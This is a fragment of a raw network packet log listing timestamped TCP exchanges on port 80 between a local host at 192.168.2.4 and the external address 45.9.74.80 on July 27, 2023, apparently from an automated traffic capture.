Jul 27, 2023 18:27:01.580379009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580399990 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580425024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580471039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580490112 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580519915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580532074 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580565929 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580615044 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580625057 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580662966 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580709934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580755949 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580802917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580816031 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580816984 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580848932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580868006 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580897093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580943108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580972910 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580988884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580992937 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581037045 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581084013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581094027 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581130028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581176996 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581188917 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581223011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581248999 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581269979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581319094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581343889 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581367016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581413984 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581425905 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581459999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581470966 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581506968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581552982 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581571102 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581602097 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581650019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581659079 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581696033 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581742048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581754923 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581789970 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581798077 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581836939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581882954 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581897974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.581929922 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.581995010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582011938 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582042933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582056999 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582088947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582135916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582149029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582180023 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582182884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582199097 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582230091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582276106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582288980 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582314014 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582323074 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582334042 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582367897 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582415104 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582452059 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582452059 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582462072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582474947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582509041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582519054 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582556009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582603931 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582619905 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582645893 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582650900 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582662106 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582698107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582742929 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582755089 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582791090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582835913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582850933 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582882881 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582894087 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.582930088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582976103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.582993031 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583024025 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583070993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583082914 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583117008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583129883 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583164930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583210945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583223104 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583257914 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583307028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583323002 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583353043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583360910 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583398104 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583444118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583461046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583489895 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583537102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583558083 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583583117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583595037 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583632946 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583681107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583699942 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583726883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583774090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583785057 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583821058 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583828926 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583867073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583914042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.583924055 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.583959103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584006071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584022045 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584053993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584100962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584110975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584147930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584155083 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584194899 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584239960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584252119 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584307909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584355116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584393024 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584400892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584415913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584448099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584495068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584503889 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584539890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584588051 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584614992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584636927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584636927 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584687948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584736109 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584743977 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584783077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584830046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584842920 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584877014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584923029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584933996 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.584969044 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.584978104 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585016012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585062027 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585073948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585108042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585155010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585164070 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585202932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585207939 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585249901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585295916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585304976 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585341930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585390091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585397959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585436106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585443974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585481882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585530043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585537910 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585577011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585625887 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585638046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585671902 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585696936 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585719109 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585764885 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585773945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585810900 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585856915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585875034 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585902929 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585917950 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.585951090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.585998058 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.586009026 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.586044073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.586098909 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.601099014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.604362011 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.608515024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.608566046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.608616114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.608664036 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.608711004 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.608720064 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.608757019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.608797073 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.608820915 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.608824015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.608870029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.608916044 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.608964920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.608999968 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609009981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609047890 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609059095 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609081030 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609105110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609149933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609181881 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609196901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609241962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609272003 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609288931 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609318972 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609335899 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609349012 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609383106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609428883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609473944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609520912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609524965 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609566927 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609569073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609586000 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609616995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609663963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609678984 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609704971 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609710932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609756947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609803915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609826088 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609849930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609895945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609909058 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609942913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.609954119 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.609988928 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610035896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610045910 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.610084057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610129118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610141993 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.610177040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610223055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610270023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610279083 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.610316038 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610362053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610378981 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.610408068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610455036 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610460043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.610500097 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610547066 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610554934 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.610593081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610641003 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610652924 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.610687971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610733986 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610743999 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.610779047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610827923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610872030 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610877037 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.610918999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.610925913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.610964060 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611010075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611023903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611056089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611104012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611118078 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611150026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611162901 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611197948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611243010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611257076 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611288071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611341953 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611360073 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611387014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611433029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611442089 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611479044 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611500025 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611526012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611572981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611573935 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611573935 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611619949 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611624956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611666918 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611668110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611712933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611721039 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611757994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611804962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611831903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611851931 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611897945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611911058 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611946106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.611979961 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.611990929 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612039089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612081051 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.612086058 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612132072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612144947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.612178087 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612224102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612231970 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.612298965 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612345934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612368107 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.612390995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612437010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612483978 CEST	80	49705	45.9.74.80	192.168.2.4
